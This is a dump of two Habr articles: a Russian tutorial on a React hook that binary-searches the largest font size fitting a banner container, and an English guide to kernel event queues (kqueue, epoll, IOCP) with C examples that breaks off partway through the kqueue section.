text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Делаем отзывчивый и максимально возможный размер шрифта динамического текста относительно контейнера
Перед нами часто возникает задача, сделать текст отзывчивым в зависимости от размера экрана устройства. Казалось бы, задача вполне тривиальна, и сходу можно назвать несколько вариантов её решения, не ломая голову, но всегда есть дополнительные условия, которые усложняют выполнение простых задач. В данной статье мы будем рассматривать решение небольшой задачи: как сделать максимально возможный размер шрифта динамического текста в его родительском контейнере. Или же, как впихнуть невпихуемое.
### Предисловие
Для простоты, все условия задачи, реализация, способы применения решение и остальные не относящиеся к делу детали (такие, как стили) будут максимально упрощены, для того, что б сконцентрироваться на требуемом результате. Как и где правильно применить данное решение, зависит только от вас и вашей ситуации. Приведенные ниже примеры кода будут с использованием React и TypeScript, но их знание совсем не обязательно, знаний нативного JavaScript будет вполне чем достаточно.
---
### Задача
Представьте карточку или баннер, в котором мы должны отображать текст, получаемый с бекенда. Мы не знаем заранее какой длинны будет текст, но мы хотим сделать размер шрифта максимально возможным. Что бы текст был не мелким и читаемым (в случае если это будет всего лишь одно слово), и для того, что б он не вылазил за рамки своего контейнера (в случае если слов будет множество). Помимо этого, мы заранее не знаем размеров контейнера, в котором будет располагаться наш текст. Он может быть фиксированным, например с заранее заданными размерами ширины и высоты каким-либо администратором в CMS системе, или же наоборот, это может быть полностью отзывчивый контейнер, который расстанется на всю ширину и высоту родителя. Для более реального кейса, мы будем делать баннер с двумя именами состязающихся между собой соперников. Примерно это будет выглядеть следующим образом:
Готовый баннер.Демонстрация работы (нажмите на картинку для анимации).Разметка баннера максимально простая, это контейнер содержащий в себе 3 элемента - текст №1, картинка и текст №2 которые будут располагаться друг над другом. Внутри каждого текстового контейнера будет располагаться тег .
```
{TEXT\_1}
{TEXT\_2}
```
---
### Возможные варианты, которые были отброшены
Ниже будет список тех вариантов, которые рассматривались как возможное решение, но не подошли по тем или иным причинам.
1. [Media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries) - Первое, что пришло в голову - это использование медиа выражений. Эта идея отпала быстро по причине динамической длинны текста, и огромного количества всевозможных комбинаций.
2. [clamp()](https://developer.mozilla.org/en-US/docs/Web/CSS/clamp) - Неплохой и довольно-таки гибкий способ, который в большинстве случаев может сгодиться. На эту тему даже есть неплохая статья: [Linearly Scale font-size with CSS clamp() Based on the Viewport](https://css-tricks.com/linearly-scale-font-size-with-css-clamp-based-on-the-viewport/) с рабочей "песочницей", где можно просчитать необходимые для себя размеры. Но, "поигравшись" с данной песочницей, и перепробовав различные варианты (строго установленные размеры баннера, или наоборот никаких размеров), возникали случаи, где текст ломался и выходил за рамки.
3. SVG - Широко рекомендуемый вариант, но заметно прожорливый при ресайзинге и довольно сложный в настройке, в случае когда мы мало что знаем о размерах (длинна текста, размеры контейнера).
4. Сторонние библиотеки и плагины - этот вариант был отброшен сразу, что б не засорять проект лишними зависимостями.
5. Подсчёт количества букв - Была и такая безумная идея, вычислять размеры контейнера в котором находится текст, подсчитывать количество букв получаемого текста, и на основании этого делать расчёты размера шрифта и возможного количества строк. Сложность в вычислениях, входящий текст может быть на разных языках (проблема подсчёта букв), и с различными символами (проблема поиска целого слова).
---
Решение
-------
Логика решения довольно проста. И вкратце состоит из нескольких шагов:
1. Находим необходимые текстовые узлы.
2. Вычисляем размеры родительского контейнера (высоту и ширину).
3. Пытаемся подобрать максимально возможный размер шрифта, что б текст не вылазил за рамки родительского контейнера.
Последний пункт звучит немного "костыльным", как будто мы пытаемся методом тыка попасть в нужную нам точку. Отчасти так и есть, но мы не пытаемся глупо добавлять по `1px`, а делаем это более элегантным путём, что б сократить количество ненужных вычислений и уменьшить нагрузку.
---
#### Структура
Структура максимально простая и понятная с использованием [npx create-react-app](https://reactjs.org/docs/create-a-new-react-app.html#create-react-app). В некоторых местах используются стили, для более приятного визуального восприятия.
```
├── package-lock.json
├── package.json
├── public
│ └── index.html
├── src
│ ├── App.css
│ ├── App.tsx
│ ├── components
│ │ ├── Banner
│ │ │ ├── Banner.scss
│ │ │ └── Banner.tsx
│ ├── constants
│ │ └── index.ts
│ ├── hooks
│ │ ├── useStretchingText.ts
│ ├── index.css
│ ├── index.js
│ └── static
│ └── vs.png
└── tsconfig.json
```
---
#### Описание решения
Пройдёмся в целом по структуре проекта и реализации решения.
В корневом компоненте `App.tsx` расположен главный `Banner.tsx`, который циклом проходится по переменной `OPPONENTS` отрисовывая значения различной длинны для наглядности.
```
import React from "react";
import "./App.scss";
import { Banner } from "./components/Banner/Banner";
import { OPPONENTS } from "./constants";
export const App = () => {
return (
{OPPONENTS.map((banner, index) => (
))}
);
};
```
Основной `Banner.tsx` также максимально прост, в нём содержится простая разметка, которая содержит имя первого оппонента, иконку, и имя второго оппонента. И как уже можно заметить, функцию которая и отвечает за отзывчивость текста, но об этом немного попозже.
```
import "./Banner.scss";
import { useStretchingText } from "../../hooks/useStretchingText";
const icon = require("../../static/vs.png");
export const Banner = ({ text_1, text_2 }) => {
useStretchingText("banner__text");
return (
{text\_1}
{text\_2}
);
};
```
Немного о стилях `Banner.scss`, в большинстве своём они тут всего лишь для красоты, но некоторые моменты я бы хотел объяснить.
1. Размеры иконки заданы явно для простоты.
2. Высота баннера также явно задана, но это не обязательно. В оригинальной задаче, мой баннер должен был размещаться поверх другого контейнера как дополнительный слой, с абсолютным позиционированием.
3. Размеры каждого текстового контейнера (где располагается тег c именем оппонента) вычисляются равномерно, вычитая размеры картинки, паддинги.
Стили
```
// Variables.
$banner_width: 100px;
$banner_height: 300px;
$banner_padding: 16px;
$icon_width: 100px;
$icon_height: 100px;
$color_grandis: #fed480;
$color_shakespeare: #45a7cd;
$color_sandy_brown: #f59977;
// Banner icon.
.banner__img {
width: $icon_width;
height: $icon_height;
}
// Banner.
.banner {
height: $banner_height;
padding: $banner_padding;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
border: 5px solid;
border-image-slice: 1;
border-image-source: linear-gradient(to left, #fed480, #45a7cd);
border-color: #45a7cd #45a7cd #fed480 #fed480;
}
// Banner text container.
.banner__text-container {
width: 100%;
height: calc( (#{$banner_height} / 2) - (#{$icon_height / 2}) - #{$banner_padding} );
}
// Banner text.
.banner__text {
font-weight: 900;
text-align: center;
word-break: break-word;
text-shadow:
1.5px 0px 0px black,
-1.5px 0px 0px black,
0px 1.5px 0px black,
0px -1.5px 0px black;
}
.banner__text_1 {
color: $color_shakespeare;
}
.banner__text_2 {
color: $color_grandis;
}
```
Далее начинается самое интересное, реализация решения вынесена в кастомный хук (для тех кто не работал с React - воспринимайте это как обычную функцию) `useStretchingText.ts` . Буду проходиться по нему построчно и объяснять что там происходит. Хук принимает два аргумента:
1. `textClassName` - Это класс, по которому мы будем находить необходимый текст.
2. `initialMinFontSize` - Изначально минимально допустимый размер шрифта. На случай если мы не хотим допустить значение ниже установленного.
Инициализируем переменные которые будем использоваться позже:
```
let fontSize: number,
maxHeight: number,
maxWidth: number,
parentElement: HTMLElement,
maxCycles: number = 100;
```
Находим текстовые ноды по указанному классу:
```
const textElements: NodeList = document.querySelectorAll(
.${textClassName}
);
```
Делаем проверку на наличие найденных текстовых узлов, и проходимся по каждому из них:
```
if (textElements.length) {
textElements.forEach((element) => {
// Some logic...
});
}
```
Делаем некоторые вычисления, на основании родительского контейнера (с классом `.banner__text-container`), рассчитываем максимально возможные размеры контейнера с текстом (с классом `.banner__text`), устанавливаем минимальный и максимальный размеры шрифта. Для ясности хочу сказать, что в условиях задачи нам нужно найти **максимальный** размер шрифта, но в логике решения мы будем отталкиваться от **минимального** значения. То есть, не ниже которого, наши требования не будут удовлетворены. После получение значений, применяем стиль к текстовому узлу.
```
parentElement = element.parentElement;
maxWidth = parentElement.clientWidth;
maxHeight = parentElement.clientHeight;
fontSize = maxHeight;
let minFontSize = initialMinFontSize;
let maxFontSize = fontSize;
element["style"].fontSize = ${fontSize}px;
```
После того как мы применили первый размер шрифта, происходит вычисление и проверка, удовлетворяет ли текущее значение наши требования, и так до тех пор, пока не будет найдено оптимальное значение. Пару слов о происходящем: Цикл продолжается до тех пор, пока текущий размер шрифта не равняется минимально удовлетворяющему размеру шрифта. Если высота и ширина текстового узла (с классом `.banner__text`) меньше или равны максимально допустимым, значит мы меняем значение minFontSize, если же наоборот, мы вылезли за допустимые рамки, мы меняем значение maxFontSize. После чего мы рассчитываем новое вероятно подходящее для нас значение размера шрифта. Но, что б не делать лишних вычислений, прибавляя по `1px`, мы делаем это по следующей формуле: 
В дополнении к этому, мы обезопасили себя заранее с помощью переменной, которую мы объявляли выше `maxCycles: number = 100;`. Чтобы по каким-либо причинам не "провалиться" в бесконечный цикл, мы прервём вычисления, достигнув установленного лимита.
```
while (fontSize !== minFontSize) {
element["style"].fontSize = `${fontSize}px`;
if (
element["offsetHeight"] <= maxHeight &&
element["offsetWidth"] <= maxWidth
) {
minFontSize = fontSize;
} else {
maxFontSize = fontSize;
}
fontSize = Math.floor((minFontSize + maxFontSize) / 2);
--maxCycles;
if (maxCycles <= 0) {
console.error("The maximum cycle exceeded");
break;
}
}
```
Ниже на анимации показано, что происходит если задать слишком маленькое занчение для `maxCycles: number = 100;`. Это не сломает работу, но также и не даст нам зависнуть на бесконечных вычислениях.
Маленькое значение maxCycles (нажмите на картинку для анимации).После того как подходящий размер шрифта найден, применяем конечный стиль к элементу, и делаем то же самое со следующим.
```
element["style"].fontSize = ${minFontSize}px;
```
Ещё один небольшой приём оптимизации, с помощью использования функции [throttle](https://lodash.com/docs/4.17.15#throttle), библиотеки Lodash. С её помощью, мы будем ограничивать максимальное количество вызовов функции в заданный интервал. Я использую значение `15`, так как где-то встречал информацию, что браузеры производят перерисовку контента страницы на ранее чем каждые 16 миллисекунд.
```
const debouncedFunction = throttle(stretchingText, 15);
```
Если установить слишком большое значение для throttle функции (в нашем случае 100 мс уже является большим значением), то будут явно заметны задержки в работе:
Большое значение throttle (нажмите на картинку для анимации).Далее, я использую слушатель на изменение размера экрана, для выполнения функции, но данный подход индивидуален в каждом случае, и должен быть использован на ваше усмотрение. Для целей демонстрации его вполне достаточно:
**P.S. Навешивание прослушивателя таким образом является не совсем хорошим решением и в данном случае и сделано исключительно для показания работоспособности.**
```
useEffect(() => {
window.addEventListener("resize", debouncedFunction);
debouncedFunction();
return () => {
window.removeEventListener("resize", debouncedFunction);
};
}, []);
```
Конечный результат готового хука выглядит так:
```
import { useEffect } from "react";
import { throttle } from "lodash";
export const useStretchingText = (
textClassName: string,
initialMinFontSize = 3
): void => {
const stretchingText = () => {
let fontSize: number,
maxHeight: number,
maxWidth: number,
parentElement: HTMLElement,
maxCycles: number = 50;
const textElements: NodeList = document.querySelectorAll(
`.${textClassName}`
);
if (textElements.length) {
textElements.forEach((element) => {
parentElement = element.parentElement;
maxWidth = parentElement.clientWidth;
maxHeight = parentElement.clientHeight;
fontSize = maxHeight;
let minFontSize = initialMinFontSize;
let maxFontSize = fontSize;
element["style"].fontSize = `${fontSize}px`;
while (fontSize !== minFontSize) {
element["style"].fontSize = `${fontSize}px`;
if (
element["offsetHeight"] <= maxHeight &&
element["offsetWidth"] <= maxWidth
) {
minFontSize = fontSize;
} else {
maxFontSize = fontSize;
}
fontSize = Math.floor((minFontSize + maxFontSize) / 2);
--maxCycles;
if (maxCycles <= 0) {
console.error("The maximum cycle exceeded");
break;
}
}
element["style"].fontSize = `${minFontSize}px`;
});
}
};
const debouncedFunction = throttle(stretchingText, 15);
useEffect(() => {
window.addEventListener("resize", debouncedFunction);
debouncedFunction();
return () => {
window.removeEventListener("resize", debouncedFunction);
};
}, []);
};
```
Демонстрация работы:
Демонстрация работы (нажмите на картинку для анимации).Песочница:
Что можно было бы улучшить
--------------------------
1. Кеширование. Возможно реализовать какое-то простое кеширование, которое будет запоминать последнее (или несколько последних) вычисленных значений, и применять к остальным элементам. Это хорошо подходит для нашего баннера, так как контейнеры обоих оппонентов абсолютно равны, и вычислив значение для одного, нам не нужно производить те же операции для другого.
2. Использование хука и подписок. Сейчас это сделано в качестве кастомного хука и добавлением`addEventListener` на ресайзинг страницы, но возможно это и не пригодится, достаточно вызывать функцию лишь при изменении ориентации экрана.
3. Глобальное использование. Возможен вариант когда данное вычисление придётся применить глобально ко всему проекту, соответственно вызов функции нужно будет вынести куда-то на верхний уровень.
4. Ограничения размеров. У нас уже есть минимально допустимый размер шрифта, как опциональный второй аргумент `initialMinFontSize`. Вполне вероятно, что кому-то понадобится также добавить максимально допустимое значение, на случай если текст может состоять всего из одного слова, а сам баннер будет растянут на весь экран.
5. Согласованность. В данный момент, каждый текстовый узел рассчитывает свои стили отдельно. Это значит, что каждый текст будет иметь свой размер шрифта. И если на примере нашего баннера имя первого оппонента будет состоять всего из одного слова, а имя второго из множества слов, разница в размере шрифта может быть значительной. Это не минус, а всего лишь один из способов решения. Возможно кому-то нужно иметь единый размер шрифта для всех оппонентов баннера (основываясь на меньшем), а кому-то наоборот, каждый оппонент должен иметь свой размер шрифта. Это всего лишь предложение, которое стоит взять во внимание.
---
### Полезные материалы
1. Код проекта: [GitHub](https://github.com/WOLFRIEND/stretching-text).
2. Онлайн песочница: [Codesandbox](https://codesandbox.io/embed/elated-mopsa-tzmcp7?fontsize=14&hidenavigation=1&theme=dark). | https://habr.com/ru/post/672148/ | null | ru | null |
# Kernel Queue: The Complete Guide On The Most Essential Technology For High-Performance I/O
When talking about high-performance software we probably think of server software (such as nginx) which processes millions requests from thousands clients in parallel. Surely, what makes server software work so fast is high-end CPU running with huge amount of memory and a very fast network link. But even then, the software must utilize these hardware resources at maximum efficiency level, otherwise it will end up wasting the most of the valuable CPU power for unnecessary kernel-user context switching or while waiting for slow I/O operations to complete.
Thankfully, the Operating Systems have a solution to this problem, and it's called *kernel event queue*. Server software and OS kernel use this mechanism together to achieve minimum latency and maximum scalability (when serving a very large number of clients in parallel). In this article we are going to talk about **FreeBSD, macOS and kqueue**, **Linux and epoll**, **Windows and I/O Completion Ports**. They all have their similarities and differences which we're going to discuss here. The goal of this article is for you to understand the whole mechanism behind kernel queues and to understand how to work with each API.
*I assume you are already familiar with socket programming and with asynchronous operations, but anyway, in case you think there's something I should define or explain in more detail - send me a message, I'll try to update the article.*
*Although I tried to keep this article clean of any unnecessary sentences (it's not a novel, after all), I sometimes can't stop myself from expressing my thoughts about something I like or dislike.*
Contents:
* [What is kernel queue?](#what-is-kernel-queue)
+ [API Principles](#api-principles)
* [FreeBSD/macOS and kqueue](#freebsdmacos-and-kqueue)
+ [Accepting socket connections with kqueue](#accepting-socket-connections-with-kqueue)
+ [Creating and closing kqueue object](#creating-and-closing-kqueue-object)
+ [Attaching socket descriptor to kqueue](#attaching-socket-descriptor-to-kqueue)
+ [Receiving events from kqueue](#receiving-events-from-kqueue)
+ [Processing received events from kqueue](#processing-received-events-from-kqueue)
+ [Establishing TCP connection with kqueue](#establishing-tcp-connection-with-kqueue)
+ [Processing stale cached events](#processing-stale-cached-events)
+ [User-triggered events with kqueue](#user-triggered-events-with-kqueue)
+ [System timer events with kqueue](#system-timer-events-with-kqueue)
+ [UNIX signals from kqueue](#unix-signals-from-kqueue)
+ [Asynchronous file I/O with kqueue](#asynchronous-file-io-with-kqueue)
* [Linux and epoll](#linux-and-epoll)
+ [Accepting socket connections with epoll](#accepting-socket-connections-with-epoll)
+ [Creating and closing epoll object](#creating-and-closing-epoll-object)
+ [Attaching socket descriptor to epoll](#attaching-socket-descriptor-to-epoll)
+ [Receiving events from epoll](#receiving-events-from-epoll)
+ [Processing received events from epoll](#processing-received-events-from-epoll)
+ [Establishing TCP connection with epoll](#establishing-tcp-connection-with-epoll)
+ [User-triggered events with epoll](#user-triggered-events-with-epoll)
+ [System timer events with epoll](#system-timer-events-with-epoll)
+ [UNIX signals from epoll](#unix-signals-from-epoll)
+ [Asynchronous file I/O with epoll](#asynchronous-file-io-with-epoll)
* [Windows and I/O Completion Ports](#windows-and-i-o-completion-ports)
+ [Accepting connections to a named pipe with IOCP](#accepting-connections-to-a-named-pipe-with-iocp)
+ [Creating and closing IOCP object](#creating-and-closing-iocp-object)
+ [Attaching file descriptor to IOCP](#attaching-socket-descriptor-to-iocp)
+ [Receiving events from IOCP](#receiving-events-from-iocp)
+ [Processing received events from IOCP](#processing-received-events-from-iocp)
+ [User-triggered events with IOCP](#user-triggered-events-with-iocp)
+ [Establishing TCP connection with IOCP](#establishing-tcp-connection-with-iocp)
+ [Writing data to a TCP socket with IOCP](#writing-data-to-a-tcp-socket-with-iocp)
+ [Reading data from a TCP socket with IOCP](#reading-data-from-a-tcp-socket-with-iocp)
+ [Reading and writing data from/to a UDP socket with IOCP](#reading-and-writing-data-fromto-a-udp-socket-with-iocp)
+ [I/O Cancellation with IOCP](#io-cancellation-with-iocp)
+ [Accepting socket connections with IOCP](#accepting-socket-connections-with-iocp)
+ [System timer events with IOCP](#system-timer-events-with-iocp)
+ [Asynchronous file I/O with IOCP](#asynchronous-file-io-with-iocp)
### What is kernel queue?
Kernel event queue (which I'm gonna call KQ from now on) is a **fast signal-delivery mechanism** which allows server software to process events from OS in a very effective way. KQ is a bunch of data living in kernel memory and a bunch of kernel code that operates with this data to notify a user-level application about various system events. A user app can't access KQ data directly (it's managed by kernel) and so it operates with KQ via the API that OS provides. There are 3 different API we're going to use here: kqueue, epoll, IOCP. However, this section describes kernel queues in general so the API doesn't matter for now.
Because the main purpose of KQ is to deliver notifications from network sockets, let me formulate the key idea in a different way:
> A user application wants to be notified when any of its sockets is ready to read or write some data, and the OS kernel serves this purpose by maintaining the list of all registered and signalled events.
>
>
#### Use-case N1
What an application achieves through KQ technology is that the app is notified about an I/O signal such as when a **network packet is received**. For example:
0. Suppose some user app created a UDP socket and registered it with a KQ along with some app-defined data (i.e. cookie).
1. At some point the last chunk of a UDP packet is received by network device.
2. OS now has a complete UDP packet and is ready to notify the user process as soon as it calls the KQ waiting function.
3. At some time the user app calls KQ waiting function which tells the kernel: `Give me something new`.
4. OS responds with `Got a READ event from the socket associated with your cookie`.
5. This cookie is the object pointer which the app then uses to handle the signal - *read a message from UDP socket*, in our case.
> Note that neither the opening of a socket, neither reading from a socket after the signal is received isn't normally the part of KQ mechanism. On UNIX we always use conventional socket functions and we use KQ functions to receive events associated with sockets. However, IOCP on Windows is different. There, I/O functions and their associated events are a part of a single mechanism. Anyway, we'll deal with IOCP later, so for now just don't bother with it - let us always think by default that KQ just delivers signals.
>
>
#### Use-case N2
Consider the next example where the user app receives a **notification after a TCP socket connects to its peer**:
0. User app creates a TCP socket and registers it with a KQ along with some app-defined data (i.e. cookie).
1. Now the app begins the procedure to connect to a remote host. Obviously, this operation can't finish immediately most of the time, because it takes some time to transmit 2 TCP packets needed for TCP connection. Moreover, what if the network link is very busy and the packets get dropped? Needless to say that TCP connection may take a long time to finish. Because of that, OS returns the control back to the app with the result `Can't finish the operation immediately`. While packets are being sent and received, the app keeps doing some other stuff, relying on OS to do its best to complete the connection procedure.
2. Finally, a `SYN+ACK` TCP packet is received from the remote host, which means it's willing to establish a TCP connection with our app. Now OS is ready to signal the app as soon as the latter becomes ready.
3. At some point the user app calls the KQ waiting function which tells the kernel: `Give me something new`.
4. OS responds with `Got a WRITE event from the socket associated with your cookie`.
5. This cookie is the object pointer which the app then uses to handle the signal - *write some data to the TCP socket*, in our case.
Although the primary use of KQ is I/O event notifications, it also can be used for other purposes, for example KQ can notify when a child process signals its parent (i.e. **UNIX signals delivery**), or KQ can be used to receive **notifications from a system timer**. I also explain these use-cases and show the example code in this article.
#### Internal representation example
Let's see a diagram with an example of how KQ may look like internally after a user app has registered 6 different events there (user-triggered event, I/O events, system timer), 3 of which have signalled already.
```
KQ table example
=================================
Event | Descriptor | Signalled?
---------+------------+-----------
USER | #789 |
READ | #1 |
READ | #2 | yes
WRITE | #2 | yes
WRITE | #3 |
TIMER | #456 | yes
```
In this example, both READ and WRITE events for socket #2 are in signalled state which means we can read and write data from/to this socket. And the timer event is in signalled state too which means the system timer interval has expired. The signalled flag also means that after a user app calls the function to receive events from KQ, it will receive an array of these 3 signalled events so it can process them. The kernel then may clear the signalled flag so that it won't deliver the same signals over and over again unless necessary.
Of course in reality KQ is much more complex but we don't need to know exactly how the KQ is implemented internally - we need just to understand what and when it delivers to us and how me may use it effectively. I'm not a kernel developer so I don't know much about how it's implemented inside - you have to read some Linux/FreeBSD kernel manuals and epoll/kqueue code if you are interested in this subject.
#### API Principles
Now let's talk about what features all those API provide us with. In general, working with a KQ API consists of 4 steps:
1. **Create KQ object**. It's the easiest part, where we just call a function which returns the descriptor for our new KQ. We may create KQ objects as many as we want, but I don't see the point of creating more than 1 per process or thread.
2. **Attach file/socket descriptor** along with opaque user data to KQ. We have to tell the OS that we want it to notify us about any particular descriptor through a particular KQ object. How else the kernel should know what to notify us about? Here we also associate some data with the descriptor, which is usually a pointer to some kind of a structure object. How else are we going to handle the received signal? The attachment is needed only once for each descriptor, usually it's done right after the descriptor is configured and ready for I/O operations (though we can delay that until absolutely necessary to probably save a context switch). The detachment procedure usually is not needed (with the right design), so we won't even talk about it here.
3. **Wait for incoming events from KQ**. When the user app has nothing more important to do, it calls a KQ waiting function. We specify the output array of events and timeout value as parameters when calling this function. It fills our array with the information about which events signalled and how they signalled. By using an array of events rather than a single event we save CPU time on somewhat costly kernel-userspace context switches. By using timeout value we control how much time this KQ function can block internally. If we specify a positive value, then the function will block for this amount of time in case it has no events to give us. If we specify 0, it won't block at all and return immediately.
> Some people use a small timeout value for KQ waiting functions so that they can check for some flags and variables and probably exit the waiting loop if some condition is met. But when using a small timeout value, like 50ms, they waste a lot of context switches unnecessarily. In this case OS periodically wakes up their process, even if it has nothing to do except calling the same KQ waiting function again in the next loop iteration. If you use this technique, it's most likely that there's something you do wrong. All normal software should use inifinite timeout, so the process wakes only when it is necessary.
>
>
4. **Destroy KQ object**. When we don't need a KQ object anymore, we close it so the OS can free all associated memory. Obviously, after KQ object is closed, you won't be able to receive any notifications for the file descriptors attached to it.
What I like the most about this whole KQ idea is that user code is very clear and straightforward. I think the OS must deliver a nice, clear and convenient API for their users - the API which everybody understands how it works. And the way I understand it, a canonical KQ mechanism shouldn't do or require users to do anything else except registering an event inside KQ and delivering this event from KQ to the user once it signals. There is one single promise to the user: `When an event you care about signals, I will notify you about it`. It allows the user code to be very flexible and free to do whatever it wants. Let's see an example with pseudo code which proves my point.
#### Pseudo code example
```
// Pseudo code for an asynchronous HTTP/1 client
func do_logic(kq)
{
conn := new
conn.socket = socket(TCP, NONBLOCK)
kq.attach(conn.socket, conn) // attach our socket along with the object pointer to KQ
conn.connect_to_peer()
}
func connect_to_peer(conn)
{
addr := "1.2.3.4:80"
result := conn.socket.connect_async(addr) // initiate connection or get the result of the previously initiated connection procedure
if result == EINPROGRESS {
conn.write_handler = connect_to_peer
return
}
print("connected to %1", addr)
conn.write_data()
}
func write_data(conn)
{
data[] := "GET / HTTP/1.1\r\nHost: hostname\r\n\r\n"
result := conn.socket.send(data)
if result == EAGAIN {
conn.write_handler = write_data
return
}
print("written %1 bytes to socket", result)
conn.read_data()
}
func read_data(conn)
{
data[], result := conn.socket.receive()
if result == EAGAIN {
conn.read_handler = read_data
return
}
print("received %1 bytes from socket: %2", result, data)
}
func worker(kq)
{
for {
events[] := kq_wait(kq)
for ev := events {
conn := ev.user_data
if ev.event == READ {
conn.read_handler()
}
if ev.event == WRITE {
conn.write_handler()
}
}
}
}
```
Here we have 3 operations: connect, socket write, socket read. All 3 may block with a normal socket descriptor, so we set a non-blocking flag when creating the socket. Then we attach our socket to KQ along with the pointer to our object `conn`. Now we are ready to use the socket as we want, in our example we have a client socket which needs to be connected to a server.
We begin a socket connection procedure which may or may not complete immediately. In case it completes immediately - we continue with our program logic as usual, but in case it can't complete immediately it just returns `EINPROGRESS` error code. If it does so, we set `write_handler` function pointer to the name of our function we want to be called when connection is established. And then we just return from our function, because there's nothing else for us to do - we must wait. At this point our application is free to do whatever it wants - process something else or just wait until some events are received from the kernel. Which is why we have a `worker()` function. It receives events from KQ and processes them one by one, calling the appropriate handler function. In our case, `connect_to_peer()` function will be called after the TCP socket connection is established (or failed). Now we're inside this function the second time and we now get the result of our previous connect request. It may be a failure, but I don't check it here for the simplicity of our example.
In case the connection was successul, we continue by calling `write_data` function which sends an HTTP request to a server. Again, it may or may not complete immediately, so in case it returns with `EAGAIN` error, we set `write_handler` and return. As simple as that. After some time we are back inside our function again and we try to send the data once more. We may go back and forth with this logic until we have sent the complete data for our HTTP request. Once it's sent we start reading the HTTP response from server.
We are inside the `read_data()` function which starts reading data from socket. It may or may not complete immediately. If it returns with `EAGAIN`, we set `read_handler` and return. Why do we use a different name for function pointer depending on whether it's READ or WRITE event? For our example it doesn't matter, but in real life when we use full-duplex sockets, *both* events may fire at once, therefore we must be prepared to handle both READ and WRITE events in parallel.
Isn't it simple? The only thing we need inside our program logic is to check for return values and error codes and set handling function pointers, then after some time we're back **in the same function** to try once more **with the same code**. I love this approach - it makes everything seem very clear, even though we've just written the program logic that can easily handle thousands of connections in parallel.
### FreeBSD/macOS and kqueue
Now I think we're ready for some real code with a real API. kqueue API is the one I like the most for some reason, so let's start with it. **I strongly advise you to read this section and try to completely understand it, even if you won't use FreeBSD in your work.** There's just one syscall `kevent()` which we use with several different flags to control its behaviour.
#### Accepting socket connections with kqueue
Let's see an easy example of a server which accepts a new connection by an event from kqueue.
```
/* Kernel Queue The Complete Guide: kqueue-accept.c: Accept socket connection
Usage:
$ ./kqueue-accept
$ curl 127.0.0.1:64000/
*/
#include
#include
#include
#include
#include
#include
#include
#include
int kq;
// the structure associated with a socket descriptor
struct context {
int sk;
void (\*rhandler)(struct context \*obj);
};
void accept\_handler(struct context \*obj)
{
printf("Received socket READ event via kqueue\n");
int csock = accept(obj->sk, NULL, 0);
assert(csock != -1);
close(csock);
}
void main()
{
// create kqueue object
kq = kqueue();
assert(kq != -1);
struct context obj = {};
obj.rhandler = accept\_handler;
// create and prepare a socket
obj.sk = socket(AF\_INET, SOCK\_STREAM | SOCK\_NONBLOCK, 0);
assert(obj.sk != -1);
int val = 1;
setsockopt(obj.sk, SOL\_SOCKET, SO\_REUSEADDR, &val, 4);
struct sockaddr\_in addr = {};
addr.sin\_family = AF\_INET;
addr.sin\_port = ntohs(64000);
assert(0 == bind(obj.sk, (struct sockaddr\*)&addr, sizeof(addr)));
assert(0 == listen(obj.sk, 0));
// attach socket to kqueue
struct kevent events[2];
EV\_SET(&events[0], obj.sk, EVFILT\_READ, EV\_ADD | EV\_CLEAR, 0, 0, &obj);
EV\_SET(&events[1], obj.sk, EVFILT\_WRITE, EV\_ADD | EV\_CLEAR, 0, 0, &obj);
assert(0 == kevent(kq, events, 2, NULL, 0, NULL));
// wait for incoming events from kqueue
struct timespec \*timeout = NULL; // wait indefinitely
int n = kevent(kq, NULL, 0, events, 1, timeout);
assert(n > 0);
// process the received event
struct context \*o = events[0].udata;
if (events[0].filter == EVFILT\_READ)
o->rhandler(o); // handle read event
close(obj.sk);
close(kq);
}
```
This code creates a TCP socket, attaches it to the newly created KQ, and waits for incoming connections. After a client is connected, it prints a message to stdout and sends an HTTP response. Inline comments explain in short form what each block is for. Now we're going to describe all this in detail.
#### Creating and closing kqueue object
To create a new KQ object, we call `kqueue()` function which returns the descriptor or `-1` on error. KQ object is usually stored in the global context (in our case - it's just a global variable) because we need it all the time while our app is running. We close KQ object with `close()`.
```
kq = kqueue();
...
close(kq);
```
#### Attaching socket descriptor to kqueue
So how do we attach a file descriptor to our kqueue object? First, we prepare an object where we define:
* Which file descriptor we want to associate with KQ. This value can be a socket, UNIX signal, or an arbitrary user-defined ID, depending on the type of event we want to register.
* Which event we are interested in. For I/O events this value must be either `EVFILT_READ` or `EVFILT_WRITE`. For UNIX signals it's `EVFILT_SIGNAL`, for timers it's `EVFILT_TIMER`, for user events it's `EVFILT_USER`, but they will be explained later in separate sections.
* What we want `kevent()` to do: `EV_ADD` attaches descriptor to KQ. `EV_CLEAR` flag prevents the event from unnecessary signalling (it's explained later).
* What object pointer we associate with our file descriptor. Normally, this object contains at least 2 fields: file descriptor itself and the function pointer which handles the event.
To set the above parameters we use `EV_SET()` macro for convenience but you may also use the `struct kevent` fields directly.
Then, we call `kevent()` function which processes all our events we supplied to it and returns `0` on success.
```
struct kevent events[2];
EV_SET(&events[0], sk, EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, obj);
EV_SET(&events[1], sk, EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, obj);
kevent(kq, events, 2, NULL, 0, NULL);
```
#### Receiving events from kqueue
To receive events from KQ we must have a place to store them so the kernel can prepare the data for us - we need an array for signalled events, array of `struct kevent` objects. Note that it doesn't necessarily mean that events are stored in kernel memory in the same form - it's just what the kernel prepares for us. Normally, the events are stored in the chronological order, meaning that the event with index 0 has signalled before the event with a larger index, but this isn't important for us, because user software is prepared to handle the events in any order anyway. In our example we use an array for the maximum of 1 events. Only very busy software can benefit from using a large array here to minimize the number of context switching.
We call `kevent()` function and pass the array to it along with a timeout value defining how long it can block in case there are no signalled events. The function returns the number of signalled events, or `0` if timeout value has passed before anything signalled, or `-1` on error. Normally, we call KQ waiting functions in a loop like so:
```
while (!quit) {
struct timespec *timeout = NULL; // wait indefinitely
struct kevent events[1];
int n = kevent(kq, NULL, 0, events, 1, &timeout);
if (n < 0 && errno == EINTR)
continue; // kevent() interrupts when UNIX signal is received
}
```
